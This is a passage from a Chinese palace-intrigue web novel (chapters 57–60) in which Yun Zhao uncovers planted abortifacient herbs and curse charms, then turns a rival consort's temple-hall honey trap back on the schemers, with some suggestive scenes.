云昭凝神,指尖拈起药囊中的些许药材细辨,面色渐渐沉凝:“这些药材是安胎的方子,但额外添入了红花与莪术。
此二者药性峻猛,破血逐瘀,初孕之人若日日贴身佩戴,短则三五日,便可能引发血崩之险。”
她转而看向那条暗红色帕子,指尖虚点其上那些深褐色的污渍:“这帕子,以女子经血混合墓土浸染过,又用尸油勾勒了傀儡符的纹路。
若再能取得特定之人的生辰八字镇于符中,中术之人便会神智昏聩,最终如提线木偶般,受施术者的暗示与操控。”
她回想起进院时,除了周嬷嬷、严嬷嬷和两位年长的姑姑,再无旁人伺候,心知长公主已起疑心,此番密谈是刻意屏退了左右,防着隔墙有耳。
此刻屋内,皆是可信之人。
云昭淡笑道:“想来,我与母亲暂居的禅房之内,恐怕也已被‘安置’了类似之物。”
方才南华郡主那一场突如其来的风波,如今想来,分明是姜绾心故意搅混浑水。
其用意,一则是想借南华郡主这把刀来挫她锋芒,令她当众难堪;
二则,更是要为那些在暗处布置这些龌龊手段之人,创造时机,混淆视听。
却不想之后南华郡主竟真的出事……
姜绾心的精心谋算,也不过是这盘更大棋局中,一枚被他人拿捏的棋子罢了。
苏氏点头,低声道:“殿下与娘娘亦有此虑,但恐打草惊蛇,故而决意等你回来再行商议。”
云昭赞许道:“义母思虑周详。”
见柔妃一双美眸正盈盈望着自己,云昭从善如流:“娘娘心细如发,能于细微处洞察危机。”
长公主微微颔首。
柔妃则以帕掩唇,轻声笑道:“不过是险境中磨砺出的几分警觉罢了,比不上云小姐真才实学。”
云昭继续分析:“对方知我略通医理玄术,故而下药设咒,层次分明。
放在娘娘处的这两样东西,一明一暗,毒辣兼备。
我想类似的物件,或许会在我母亲房内发现。至于我……”
她脑海中闪过竹林间那抹白色衣角,唇边泛起一丝冷意:“想来,她们已为我备下了一份更‘别致’的大礼。”
此言一出,苏氏顿时面露忧色,长公主的眉头也紧紧锁起。
柔妃那双总是含情带笑的眸子里,此刻也清晰地掠过一丝冰冷的厉色。
云昭将众人反应尽收眼
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底,忽而展颜一笑,笑容里带着几分狡黠与从容:“殿下,娘娘,母亲……可想看一出请君入瓮的好戏?”
长公主闻言一怔,柔妃却已先低笑了起来,眼波流转间竟透出几分跃跃欲试的兴奋:
“嫔妾平生最爱看的,便是这等**其上的好戏。
若有登台参与的机会,更是求之不得。云小姐若有妙计,可千万要算上嫔妾一份才好!”
云昭转头对侍立在旁的严嬷嬷低声道:“嬷嬷,烦请您走一趟,替我传个话。”
几人围拢在榻边,压低声音,细细地商议起来。
*
次日午后,杨氏忽而风风火火闯了来。
“昭丫头!快!快随我回老宅一趟!”
云昭正与苏氏、英国公夫人及几位相熟的贵妇千金,围坐在一张汉白玉石桌旁品茗闲谈。
桌上摆着几碟精致的素点,茶香袅袅,气氛本该是难得的闲适。
“二婶?”见到杨氏来了,云昭故作惊讶,“您怎的到寺里来了?我记得昨日长公主殿下有令,寺中暂不接待外客,以免冲撞祈福。”
她话音一落,在场女眷们的目光齐刷刷投向杨氏,带着审视与狐疑。
这禁令众人皆知,杨氏此刻的出现,着实突兀。
杨氏脸色闪过一抹心虚,随即摆手,语气更加急促:“哎呀都什么时候了还管这些!
是你祖母!她突发哮症,喘不上气,请了回春堂的老大夫看了也不见好!你兄长说你懂金针之术,快随我回去瞧瞧!”
说着,她便伸手过来拽云昭的手臂。
云昭手腕轻转,巧妙避开,指尖仍稳稳托着那盏名贵的茶杯,声音清淡:
“二婶你慢些。这茶盏是英国公夫人从家里带来的积雪甜白釉,若是碰碎了,咱家可不一定赔得起。”
杨氏气得一噎。
之前在家时,什么好东西她都敢从库里往自个儿房间倒腾,这会儿当着外人的面,她倒是装起穷酸来了。
但杨氏还是松开手,跺着脚焦急道:“你这孩子!都火烧眉毛了还计较这些?那可是你嫡亲的祖母!”
已有不明就里的妇人出于同情开口劝道:
“姜大小姐,哮症发作起来确是凶险,老夫人年纪大了,你还是回去看看吧。”
“我记得姜老夫人是有这旧疾的,是以每年春日飘絮时,她从不出门。”
英国公夫人看出点门道,皱着眉没说话。
从姜宅到碧云寺,这一来一回的距离可不近!
城中名医不少,为何偏偏要舍近求远,非让云昭这个未出阁的小姐回去?
这件事怎么看,都透着蹊跷。
杨氏见状,声泪俱下道:“难道你还记恨着上回你失手打碎祖母玉镯,她没立刻补给你新镯子的事?你这心眼也忒小了!”
话音未落,身后传来姜绾心的惊呼声:“祖母?二婶,我祖母她怎么了?”
“心儿来了!你快来帮我劝劝你长姐!”杨氏抹着眼泪道,“她这倔脾气上来了,非要记恨当日之事,怎么都不肯回家!”
姜绾心满脸担忧:“阿姊,我随你一起回去!三年前祖母曾发过一次哮症,当时请来的医者全都束手无策,凶险得很!咱们快走吧,不能再耽搁了!”
说着,她也伸手欲拉云昭。
就在云昭正要甩开姜绾心的手,开口之际——
忽听身后传来“咚”的一声闷响!
众人惊愕回头,只见苏氏面如金纸,整个人已软软地滑倒在地,人事不省。
唇角竟缓缓溢出一缕鲜红的血丝!
第57章 苏氏真**?
云昭一怔,旋即冲上前,俯身将苏氏揽入怀中:“母亲!您这是怎么了?您别吓昭儿!”
“她吐血了!”不知哪个贵女尖声叫道,“莫不是中了毒?”
这句话如同投入静湖的石子,一石激起千层浪。
在场的女眷们顿时乱作一片,惊呼声、茶盏落地碎裂声此起彼伏。
几位胆小的夫人小姐更是吓得面色惨白,连连后退。
英国公夫人当机立断,起身厉声喝道:“所有人都放下手中的茶点,不许再碰!”
她的声音沉稳有力,暂时压制住了场面的混乱。
一位始终**一旁、气质沉静的中年妇人从发间取下一根素银长簪,递了过去:“用这个试。”
就在英国公夫人沉着地开始一一查验茶点时,昨日那位胆怯的康乐伯夫人忽然扶着石桌,软软滑坐在地。
她带着哭腔喃喃:“我、我头晕得厉害……肚子也阵阵发疼……我是不是也要**!”
这番言语更是雪上加霜,场面几乎失控。
有人急忙上前帮着搀扶苏氏,有人去照看瘫软的康乐伯夫人,还有几个热心的小姐夫人围在英国公夫人身旁,协助查验桌上的各色点心茶水。
一片混乱中,反而无人留意到僵立一旁的杨氏和姜绾心。
杨氏急得扯住她衣袖,压低声音道:“不是说好了,若是不成才……”
姜绾心脸色铁青:“与我们无关!”她咬牙切齿,“定是这病秧子不知得罪了谁。只是死得真不是时候。”
正在不远处空地耍枪的李灼灼闻讯赶来。
见到这般情景,她二话不说,利落地打横抱起苏氏,转身就朝着厢房方向疾步而去。云昭立刻提起裙摆紧随其后。
两个少女,一个身着红装如火,一个素衣胜雪,身影迅捷如风,转眼就消失在了园子的月亮门后。
众人见状,也纷纷跟了上去。
方才还称病喊痛的康乐伯夫人此刻竟也走得飞快!
一边走,还一边不安地问身旁搀扶她的友人:“你说,若是让姜大姑娘也给我扎上两针,是不是就能好了?”
友人没好气地回道:“你若真是皮痒欠扎,我倒是不介意代劳。”
落在最后的杨氏何时见过这等场面,她一时懵了:“咱们要不也跟过去看看?”
姜绾心冷冷地瞥了眼厢房的方向,语气淡漠:“不必,我们先向娘娘复命要紧。”
厢房内,云昭已取出随身携带的金针。
她凝神静气,手法娴熟地在苏氏几处要穴落下针。
随着她的动作,几滴色泽暗沉的血珠从指尖被逼出,然而苏氏依旧双目紧闭,不见苏醒的迹象。
“情况如何?”英国公夫人关切地询问道,眉头紧锁。
云昭眼圈泛红,声音哽咽:“娘亲确实是中了毒……但此毒刁钻,我解不了。”
她指尖拂过苏氏苍白的面颊,语带绝望,“金针之术只能暂且护住娘亲的心脉,若找不出究竟是中了何种毒物,只怕她……要一直这样昏睡下去。”
这番话让在场众人无不色变。
“又倒下一个?这碧云寺是怎么了!”
“昨日是南华郡主,今日是苏淑人,真是邪了门了!”
“连小医仙都束手无策,这下毒之人当真歹毒至极!”
英国公夫人命侍女将方才收拢来的所有茶点悉数摆开:“劳烦云姑娘查验。”
云昭心中暗赞这位夫人处事当真周全细致。
在众人灼灼目光的注视下,她仔细检验了每一样糕点、每一盏香茗,甚至连盛放的器皿都未曾放过。
最终,她困惑地蹙起秀眉,缓缓摇头:“都不是。”
她忧心忡忡地环视众人:“毒物并不在这些茶点之中,还望诸位多加小心。”
这话引得满室惶惶,人人自危。
云昭吩咐莺时仔细照看苏氏,转而面向众人,神色凝重:“此事关系重大,非我一人所能解决。须得立即请示义母,再去求问闻空大师,看他是否有解毒之法。”
说罢,在众人各异的目光中,她毅然转身,步履坚定地朝着长公主所在的厢房走去。
*
另一边,凉亭内气氛凝滞。
贵妃听完姜绾心的回禀,已然面沉如水:“这么巧?”她狐疑道,“你们才去请人,苏氏就**?”
杨氏久居后宅,还是头一次有脸面在贵妃面前进言,她既想讨好,又难掩紧张,磕磕巴巴地道:
“回娘娘的话,也不一定就……但当时那情形,吐血昏迷,瞧着确实像是中了剧毒。”
梅柔卿安**在一旁,沉吟片刻后轻声问道:“心儿,你仔细回想,云昭当时的反应,可像是早有准备?苏氏的症状,当真毫无破绽?”
她语气温和,却直指要害,显露出惯有的谨慎。
姜绾心娇声道:“不论真假,经此一事,姜云昭必定会留在寺中照料,绝不会轻易离开了。”
她顿了顿,声线微凉,“不过对我们而言,苏氏是死是活并无分别。”
母女二人交换一个眼色,各自在对方眼中看到笃定。
苏氏若真**,倒是省了她们诸多手段;若侥幸不死,待日后回了姜家,也有的是机会收拾她。
如今的关键,是姜云昭滞留寺庙,那么他们只能改变计划。
见几人都沉思不语,杨氏急切地插话:“就算那丫头不回府,此事也未必没有转圜之机!”
几人闻声,都看向她。
杨氏受到鼓舞,压低声音道:“妾身以为,若这等‘丑事’发生在佛门清净地,岂不更加引人注目,更能让她永无翻身之日?”
“娘娘,此计不妥。”梅柔卿蹙起眉:“姜云昭狡诈多端,阮溪月亦非易与之辈,在寺中同时对她二人下手,恐怕……”
她深知贵妃性子急躁,杨氏又是个没成算的,唯恐计划仓促,反遭其害。
贵妃却不耐烦地打断她,饶有兴致地追问杨氏:“你且说来听听。”
杨氏见得了贵妃青眼,顿时眉飞色舞:“回娘娘,妾身忽然想起早年随外子赴任时,听来的一个趣闻。”
她故意顿了顿,吊足众人胃口才继续道,“说是某地有个大家闺秀,竟与一个戏子私奔,不仅在一处荒庙中行那苟且之事,更荒唐的是,当时现场还有第三个女子在场……”
姜绾心
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听得皱起眉,显然觉得杨氏这番话不堪入耳。
梅柔卿也面露不豫。
贵妃却听得双眼晶亮:“你的意思是……”
杨氏得意笑道:“妾身想着,既然要将这两人一并拖下水,何不做得更绝一些?安排一出‘捉奸在床’的大戏,岂不痛快?”
梅柔卿忍不住再次劝阻:“娘娘,此计太过行险。寺庙中人多眼杂,且长公主殿下尚在寺中,万一……”
“够了!”贵妃厉声喝断,“你不是早已在她房中放了那东西?此时不用,更待何时?”
梅柔卿心中暗恼,只得勉强解释:“但未满三日,效力恐怕不足以……”
“效力不足,就加大效力!”贵妃斩钉截铁,“总之,本宫今晚就要看到她们身败名裂!”
她转向杨氏,语气稍缓,“把你的计划细细道来。”顿了顿,她又迟疑,“只是……此举会不会牵连到驸马?”
梅柔卿冷眼旁观,心中暗讽:这蠢妇既想害人,又对驸马存着那点见不得人的心思,当真可笑。
怎么,她一个后宫嫔妃,难道还真敢跟长公主的驸马有点什么?
她也不想想,若真闹出什么,以长公主的性子,不得活撕了她!
杨氏急于立功,连忙保证:“娘娘放心!来之前妾身已嘱咐过堂哥,定会在关键时刻绊住驸马。
事后若有人问起,大可说是姜云昭那丫头不知廉耻,故意**,勾引路过的驸马。”
贵妃听到此处,终于展颜一笑:“长公主不是最疼爱这个义女吗?本宫倒要看看,经过今夜,她还要如何疼爱!”
*
当晚,寺庙的膳堂内灯火通明,萦绕着素斋的清雅香气。
云昭坐在长桌前,心绪低落地支着下巴。
李灼灼特意坐在她身旁,不时说些趣事想逗她开心,云昭却始终神色恹恹,只懒洋洋地动了几筷子面前的素烩。
不远处,姜绾心独自坐在角落,姿态优雅地小口进食,目光却若有似无地飘向云昭的方向。
忽然间,云昭像是被什么无形的东西刺到一般,下意识地抬手揉了揉后颈。
紧接着,她又蹙起秀眉,轻轻揉了揉手背,神色间流露出几分困惑与不适。
“怎么了?”李灼灼关切地凑近问道,“可是哪里不舒服?”
云昭摇了摇头,语气迟疑:“我也不知为何……忽然觉得身上有些刺痛,像是被细针扎了似的。”
这一幕清晰地落在姜绾心眼中,她眼底迅速掠过一丝难以掩饰的得意,唇角微微上扬。
母亲特意安排她在此观察,果然没错。
看来咒术已然开始奏效了!
她心中冷笑:不过是个十六岁的黄毛丫头,先前在花神宴上能侥幸破了母亲的咒术,不过是运气好罢了。
就凭她,也配与母亲数十年的修为抗衡?
想到这里,姜绾心心情大好,连带着眉眼间都染上了几分轻快。
她优雅地撂下碗筷,起身整了整衣裙,便迈着轻快的步子朝外走去,迫不及待地要去向母亲禀报这个好消息。
身后,云昭瞧着姜绾心迫不及待离开的背影,忍不住挑起嘴角。
第58章 真是好大一张床!
回厢房的青石小径上,李灼灼与云昭并肩而行。
她忍不住侧首,细细打量着云昭沉静的侧脸,压低声音:“你……是不是暗中筹划着什么?”
她们相识虽不算久,但李灼灼打心眼里欣赏云昭——
她喜欢她那份不同于寻常闺阁女子的果决,看似清冷疏离,实则胸有丘壑,静水流深。尤其那一手银鞭,耍得那叫一个英姿飒爽!
若苏夫人当真命悬一线,依云昭的性子,绝不可能只是这般逆来顺受,枯坐等待。
她定会想尽一切办法,哪怕逆天改命!也要从阎王手中抢人!
云昭闻言,眼底闪过一抹讶异,随即化为浅浅的赞赏。
她沉吟一瞬,声音轻得几不可闻:“今夜,莫要睡得太沉。若闻异动,切记,不要独自涉险。”
事以密成,语以泄败。对李灼灼,她只能略作提点,说再多就是图惹麻烦了。
行至半途,二人恰巧撞见柔妃在廊下发作。
她一手护着尚且平坦的小腹,俏脸涨得通红,对着身旁的宫女叱道:“本宫不要再用这寺里的素斋!定是吃了不干净的东西,才惹得头痛难忍!”
那宫女目光微闪,怯怯回道:“娘娘息怒,可咱们身在寺中,除此之外,实在没有别的吃食……”
“你不会去后厨盯着吗?”柔妃声音拔高,失了往日的温婉,脸上异常的红晕不知是怒意上涌,还是另有缘故,瞧着无端暴躁,“若是饿着了龙胎,你担当得起吗?”
这时,贵妃的声音自不远处悠然响起:“妹妹这是怎么了?天儿还没热起来,火气倒先旺了。”
柔妃见是贵妃,神色微微一僵,勉强收敛了些:“贵妃姐姐。”
孟贵妃缓步走近,目光如梳,细细扫过柔妃脸上那不自然的潮红,唇角勾起意味深长的弧度:
“方才在屋里用了些斋饭,出来走走消食,大老远就听见妹妹的声音,特来瞧瞧。”
她视线落在宫女手中的食盒上,轻啧两声,“难怪妹妹动气,有身子的人,岂能吃得如此简薄?”
这话如同火上浇油,柔妃眼圈瞬间红了,委屈更甚:“姐姐也看见了,这起子下人,便是这般怠慢于我!”
孟贵妃笑道:“妹妹若不嫌弃,我那小厨房里正煨着一盅血燕炖官燕,最是滋补不过。”
她留意到柔妃脸上闪过一丝显而易见的抗拒,随即那眼神便恍惚起来,变得有些呆滞,愣愣地应道:“也……也好。”
孟贵妃满意地欣赏着她神智挣扎又最终屈从的模样,吩咐身旁宫女:
“玉湖,去给柔妃娘娘取来。”
玉湖会意,对柔妃身边那个始终低眉顺眼的小丫鬟道:“你随我来。”
直至目送柔妃亲手提着那食盒,脚步略显虚浮地离去,孟贵妃仍站在原地,目光悠长。
身旁的玉湖轻声问:“娘娘在看什么?”
孟贵妃悠然道:“本宫是在欣赏柔妃这我见犹怜的姿态。过了今夜,怕是再难见到了。”
自柔妃入宫,她憋闷了好些时日,此刻只觉胸中畅快无比。
能将柔妃这样的劲敌拿捏在指掌之间,这滋味着实令人着迷。
身后传来梅柔卿的声音:“娘娘,该回去了。”
孟贵妃回身,将手搭在她臂上,心情颇佳:“梅氏,本宫一向欣赏有真本事的人。你既有能耐,又懂得体贴上意,真是深得我心。”
梅柔卿垂眸,语气恭顺:“娘娘谬赞,嫔妾不过略尽绵力,如何行事,全凭娘娘指引。”
孟贵妃满意地颔首,又道:“你样样都好,唯有时过于谨慎。依本宫看,你与杨氏倒是互补。”
梅柔卿眼底闪过一丝几不可察的厌烦,语气却愈发驯从:“娘娘说的是。妾身定与杨姐姐同心协力,为娘娘效犬马之劳。”
*
碧云寺深藏在叠翠峰峦之间,入夜后,整片山野便被浓稠的墨色吞没。
唯有大雄宝殿与零星几处禅院还亮着微弱的灯火,如同悬于深渊的几颗孤星。
接连两日,寺庙内风波不断。
昨日南华郡主之事,已闹得人心惶惶;
谁料今日,才被封为“淑人”的苏氏,竟又当众**昏迷!
连近来声名鹊起的“小医仙”都直言束手无策。
恐慌如同无声的潮水,在留宿的贵女和官眷间蔓延。
虽有人心生退意,想提前打道回府,不愿再蹚这浑水。
可一想到若要向长公主陈情,便等同于同时开罪贵妃、柔妃与长公主三位贵人,谁也不敢当这个出头鸟。
于是这一晚,大多数人都选择早早紧闭房门,不敢在外随意走动。
厢房内,云昭正对灯捧着一卷医书,神情专注。
忽地,窗外传来两声极轻极飘的呼哨,那声音仿佛带着某种奇异的魔力,丝丝缕缕钻入耳中。
一股难以言喻的冲动自心底升起,驱使着她,诱惑着她,要她立刻循着那声音而去。
云昭放下书卷,眼神有瞬间的迷离,依循着本能推开房门,脚步虚浮地步入夜色。
她眼神时而迷离,时而闪过一丝挣扎的清明,仿佛在与体内那股无形的控制之力抗争。
她的步伐时快时慢,最终却还是被牵引着,独自穿过沙沙作响的幽暗竹林,走过溪流潺潺的石桥,在曲折的回廊与殿宇间兜转,最终来到一处僻静的偏殿前。
殿内烛火昏黄,光影摇曳,静谧得仿佛空无一人。
她迟疑片刻,终是迈步而入。
就在她踏入殿内的瞬间,一道黑影自身后悄然逼近,一只温热的大手带着不容抗拒的力道,猛地抚上她的肩头……
云昭蓦然转身,在昏昧的光线下看清来人的轮廓,脸上瞬间闪过一丝极其复杂的惊异。
不待她出声,对方已一把将她打横抱起,坚实的臂膀充满了力量,转身便朝着殿宇深处那片更浓重的阴影走去。
淡青色的纱幔被夜风拂动,如梦似幻地飘起又垂落。
隐约间,似有一道低沉而略显粗粝的男声响起:“……堂妹果然重情义,有此等‘好事’总惦念着为兄。放心,今夜,定不叫堂妹失望。”
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殿外,杨氏的声音带着几分气急败坏的羞恼传来:“你仔细着时辰!别待会儿人都来了,你自己反倒脱身不得!”
“慌什么?”那男子低低一笑,语气轻佻:“这寺里的和尚,不是老迈便是体衰,谁能追得上我的脚程?”
他举步踏入内殿,一股奇异的甜香扑面而来,丝丝缕缕,钻入鼻息。
他的视线开始模糊,呼吸不由自主地急促起来。朦胧中,只见香案之上,横陈着一具柔软的女体。
素白衣衫半解,露出颈下一抹诱人的酥白,若有若无的呻吟声自那檀口溢出,带着难耐的意味。
男子身形魁梧,肩宽背厚,行动间带着武人特有的悍勇之气。
此刻更是双目泛红,喉结滚动,如同嗅到血腥味的饿虎,低吼一声,便朝着那香案上的人影重重压了上去……
守在外间的杨氏听到内里传来的动静,脸上先是闪过一抹羞耻,随即又被一股扭曲的快意取代。
成了!
她不敢久留,强压住激动,转身快步离去。
必须即刻将这好消息禀报给贵妃娘娘!
从小到大,她处处都被表姐沈韶梅压过一头。
沈韶梅容貌比她娇艳,才情比她出众,就连挑选男人的运气都比她好上千百倍!
明明自己才是姜家二郎明媒正娶的正室,可在这府中,竟还不如沈韶梅这个被姜世安以“故人之妹”名义接回府、连个正经名分都没有的外室!
老天何其厚爱沈韶梅!
一个连正经名分都没有的女人,不仅为姜世安生下了一双儿女,更是独享尚书大人的偏宠,儿女承欢膝下,连素来刻薄的婆母都对她多有包容。
如今,她还凭着不知哪来的运道,得了孟贵妃的青眼!
什么好事都让她给赶上了!
可谁能想到,今日这桩能讨得贵妃欢心的大事,终究是她杨氏办成的!
想到这里,杨氏心头的激动与得意几乎要满溢出来,她忍不住再次加快脚步,直朝眼前的幽暗奔去……
*
突如其来的一声凄厉尖叫,如利刃般划破了寺庙深夜的寂静。
偏殿附近的厢房陆续亮起星星点点的灯火,人声由窸窣低语逐渐变得嘈杂。
“出什么事了?”
“方才那声音……像是个女子在尖叫?”
“白日里就不太平,怎么连夜里也……”
纷乱的脚步声由远及近。
众人提着灯笼,裹着外衫,循着声音来源朝着偏殿方向聚拢。
原本幽静的殿前空地上,很快便**了不少面带惊疑的女眷。
待众人提着灯烛,三三两两簇拥着来到偏殿外廊,只见康乐伯夫人正死死捂着心口,背对着殿门站在那儿。
她面颊泛着不正常的潮红,一双眼睛瞪得极大。
眼见来人多是相熟的面孔,不少还是今日一同经历过“**风波”的“患难之交”,她像是终于找到了宣泄口,猛地垮下肩膀,带着哭腔尖声嚷道:
“夭寿啊!里头……里头真是好大一张床!”
第59章 要长针眼了!
康乐伯夫人语焉不详,可她涨得通红的脸,瞪得溜圆的眼睛,还有最后那句“……床”,瞬间点燃了在场所有人的好奇与惊异。
英国公夫人甫一开口,就被口水呛着了:“你、你说什么?”
“你且稳当些!”康乐伯夫人的好友走上前:“我就说这大半夜的,能嚎出这动静的准是你!我在梦里都听出是你的嗓门儿!”
康乐伯夫人竟“哇”的一声哭了出来:“是真的……你们自己去看了就知道!我娘说过,看到这等污秽之物,是要生针眼的!”
康乐伯夫人嫁入伯府不到三载,说起来也就二十出头的年纪,此刻又是懊悔又是羞愤,带着哭腔道:
“都怪我,偏要去追那只偷我猪肉脯的小狸花,怎么就跑这儿来了!
我这眼睛,算是脏了!呜呜呜……”
姜绾心立于一群贵女之中,一身淡黄衣裙,妆容精致,此刻娇美的面庞亦染上绯红。
她适时地流露出惊慌神色,纤指轻掩朱唇,状似惶惑地轻声道:“夫人这话是什么意思?听得人心里慌慌的……”
她这般作态,引得周遭几位年轻贵女亦纷纷垂首,颊飞红霞。
明明什么都还未曾看见,康乐伯夫人那几句含糊其辞却的话,已让众人心头鹿撞,对偏殿内的情形生出无数不堪的揣测。
那位曾借出银簪的夫人最是爽利,“唰”的一下,竟从腰后抽出一柄寒光闪闪的短刃:“里面究竟是何光景,一看便知!”
英国公夫人也是个胆大的,提着手里的羊角灯,毅然跟上前去。
就在此时,偏殿内陡然传出一声沉闷的重物倒地声响,紧接着,是一道模糊而黏腻的女子低吟——
那声音虽不清晰,却无端让人觉得耳熟。
众人心头一凛,再也按捺不住,纷纷朝殿内挤去。
刚挪动几步,里间清晰地传来清脆的皮肉拍击声,夹杂着男子粗重的喘息和低吼。
这……这竟是还在行事中?!
在场的已婚妇人们瞬间了然,脸色变得极其精彩。
有那带着未嫁女儿的,慌忙伸手去捂自家孩子的耳朵,场面一时混乱又尴尬。
“何事喧哗?深更半夜,在这佛门净地成何体统!”孟贵妃慵懒中带着威严的嗓音自身后响起。
几乎同时,另一侧的长公主也从另一侧步履匆匆地赶到。
孟贵妃眼风一扫,见长公主竟是独自前来,向来紧随身边的姜云昭不见影踪,不由心头浮起快意,连带着语气也轻快了几分:“殿下也被惊动了?”
她随意打了个招呼,便转向堵在门口的人群,黛眉微蹙,“究竟发生何事,惹得诸位夫人如此失态?”
康乐伯夫人连连摆手,语气恳切:“娘娘!您是有身子的人,万万不可进去!里面的情形太过污糟,恐会冲撞了您和龙胎!”
孟贵妃眉头皱得更紧。她特意挑了这个时候来,岂能无功而返?
当下便示意身边膀大腰圆的宫女:“掌灯!”
“本宫倒要瞧瞧,到底是何人这么大胆子,竟敢在佛门清净地,行此苟且之事,玷污佛堂!”
身后,长公主嗓音幽冷:“贵妃怎知,这里间必定是苟且之事?”
孟贵妃一噎,当即道;“不是康乐伯夫人说的吗?本宫也是合理揣测……”
晦暗不明的光线里,长公主沉着脸,神色难辨:“贵妃身怀六甲,按理无论听到多大动静,都该如柔妃一般在房中静养安胎才是。
这般深夜外出,凑此热闹,若让母后知晓,怕是要怪罪你不知轻重了。”
一听长公主搬出太后来压自己,孟贵妃顿时心头一堵。
但转念想到即将上演的“好戏”,心头那点不快,立刻被一股扭曲的快意取代。
她抚了抚尚未显怀的小腹,笑道:“殿下多虑了,本宫腹中皇儿康健得很,岂会轻易被惊着?
况且,本宫也是担心,若真出了什么有损皇家颜面的大事,殿下独自处理,难免力有不逮。”
长公主闻言,唇角勾起一抹冰冷的弧度:“贵妃到底是担心本宫处置不来,还是唯恐天下不乱?”
孟贵妃被这直白的一问刺得心头火起!
她瞥着长公主阴沉的脸色,心头一动:她这是故意拖延时间?
难道她已觉察驸马和姜云昭都不在自己房中,心里已然起疑?
贵妃越想越觉得可能,纤手直指殿内,厉声下令:“给本宫掌灯!进去!”
两名宫女动作麻利,迅速挤开人群闯入殿中,手脚利落地将沿途灯盏一一点亮。
原本昏暗的佛堂霎时亮如白昼,也将那香艳又不堪的一幕,毫无遮掩地暴露在众人眼前——
只见几个长条香案被拼成一张“大床”,淡青色帷幔**乱扯下垫在其上。
一个浑身精赤、肌肉虬结的彪悍男子,正压在一具雪白的娇躯上……口中污言秽语,不绝于耳。
而那个被压在香案上,鬓发散乱、眼神迷离,口中发出断续呻吟的女子,赫然是众人今日都见过的——
“天爷!这、这不是小医仙家的那位二婶,杨氏吗?!"康乐伯夫人失声惊呼。
孟贵妃脸上的得意和期待瞬间凝固,转而变得铁青!
她原以为杨氏一直未曾回来报信,是担心堂兄办事不利索,守在附近等一切落定,直接在这边与自己汇合。
谁承想……这杨氏嘴巴厉害,办事居然如此糊涂!
这等腌臜勾当,竟将自个儿一并搭了进去!真是个成事不足,败事有余的蠢货!
众人顿时哗然,议论声四起:
“我还以为她忧心婆母哮疾发作,早已经下山回府了!”
“莫非是故意滞留寺中,就为了在此与人私会?”
一时间,众人落在杨氏脸上的目光复杂至极。
有人环顾四周,见姜绾心面色苍白,便出声问道:“心儿妹妹,你二婶在此……可是你做主带她进寺的?”
姜绾心惶然后退一步,连连摆手:“不,不是我!”
她下意识在人群中寻找梅柔卿的身影,却猛然惊觉:“阿姊……我阿姊人呢?”
不远处的长公主闻言,面色骤然一沉,眸中寒意凛冽。
贵妃将这一切尽收眼底,唇角几不可察地一勾。
她刚一进来就看过了,不仅姜云昭不在这里,柔妃那个**也迟迟未曾现身!
今日这番布置,终究没有白费。
即便折了个不成器的杨氏,只要最终事成,便值得!
看这男子体格健硕,精力旺盛,再多应付两个女子,想来也游刃有余……只是,为何如今这房内只余他和杨氏?
“此人究竟是谁?”
见男子仍如发情的野兽般躁动不安,众人也察觉出异常。
但此来寺庙,是为了陪两位娘娘上香祈福,因而住在寺庙的,大都是女眷,李灼灼更是被英国公夫人死死摁住,不让上前。
这时,承义侯夫人手持短刀上前,刀柄重重击在其后颈。
男
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子痛叫一声,身子一歪,两眼翻白,晕了过去。
承义侯夫人利落地挥刀斩下桌案上的青纱,将不堪入目的两人草草遮盖。
康乐伯夫人忽然迟疑道:“不对……方才不是这样的……”
长公主蹙眉:“何处不对?”
康乐伯夫人面红耳赤,欲言又止。
她的好友急得暗掐她手臂:“都什么时候了,还吞吞吐吐!”
康乐伯夫人艰难开口:“我方才追猫进来时,分明看见……是三个人!”
“三个人?”
此言一出,满堂皆惊。
有人质疑:“莫不是你看花了眼?”
“绝不会错!”康乐伯夫人急道,“我为了捉猫,是猫着腰进来的,看得清清楚楚——两个女子并排躺着,那男子……”
她羞得说不下去。
现场顿时炸开了锅。
姜绾心趁机高声道:“诸位可曾见到我阿姊?”她目光闪烁,“我阿姊素来警醒,此处闹出这般动静,她怎会至今不曾露面?”
李灼灼当即厉声斥道:“你这话是何意?莫忘了你母亲苏氏**昏迷,至今未醒!云昭在病榻前侍奉汤药,寸步不离,有何不妥?”
她语锋如刀,直指要害,“白日里众人见你母亲倒下,无不心急如焚,唯独不见你上前关心!你这女人,简直全无心肝!”
李灼灼这番话说得极重,但这一次,英国公夫人却未加阻拦。
因为女儿所言句句在理。
承义侯夫人冷声接话:“生母尚在病榻,却终日与那来历不明的客居女子形影不离,简直是非不分!”
姜绾心咬紧下唇,眼中泪光闪烁:“不瞒诸位,自母亲前次遇险归来,便与我生分了。我与兄长数多次求见,皆被拒之门外。”
她声音哽咽,愈发显得楚楚可怜,“今日傍晚时,我专程去探望母亲,却被阿姊拦在院外。此事阿姊身边的婢女皆可为证。”
说到这,她脸上显出慌乱:“今夜发生这等事,以我阿姊的性子,绝不可能不闻不问。我实在放心不下……得去寻她才是。”
正当此时,一道挺拔身影自门外踏入。
孟贵妃眸光一亮,难掩惊艳之色,脱口唤道:“驸马?”
来人正是卫临。
他一袭墨色劲装,墨发高束,额间系着一条玄色织金抹额,更衬得面容俊朗,英姿勃勃。
卫临向众人施礼后,对长公主禀报:“来时见有人从竹林中仓皇遁走,本欲追击,又恐此间事态紧急,故而折返。”
他抬手呈上一方素白丝帕,“在林中发现此物。”
姜绾心顿时失声惊呼:“这是阿姊的帕子!”
她冲上前攥住帕角,“我绝不会认错,今日傍晚在膳堂,我还见阿姊用过!”
李灼灼强压下心头不安,冷声道:“单凭一方帕子,就想往云昭身上泼脏水?我从未见过似你这般,处心积虑要毁亲姐清誉之人!”
长公主凤眸微眯,沉声问道:“可看清那逃走之人的形貌?”
“月色朦胧,只隐约辨得是个白衣女子,身形纤瘦。”卫临答道。
此言一出,满堂哗然。
方才还觉得康乐伯夫人所言荒诞的众人,此刻皆面面相觑——
卫临的证词,竟与康乐伯夫人所见不谋而合!
且今日云昭所穿,正是白裙!
“一定是我阿姊!”姜绾心惊叫一声,见众人都看向她,连忙掩面痛哭起来:“怎么办,阿姊定是被那恶贼玷污了!”
第60章 到底谁完了?
孟贵妃眼底掠过一丝难以抑制的狂喜。
虽折了个不成器的杨氏,柔妃那**也未必入彀,但若能借此将姜云昭彻底踩入泥淖,也足以令人拍案称快!
想到姜云昭即将背负着与自家二婶共侍一夫的污名遗臭京城,她几乎要抚掌大笑——
她倒要看看,届时这位高高在上的长公主殿下,颜面何存!
还有姜云昭,纵得了御赐凤阕令又如何?待圣上听闻这等丑事,必当雷霆震怒!
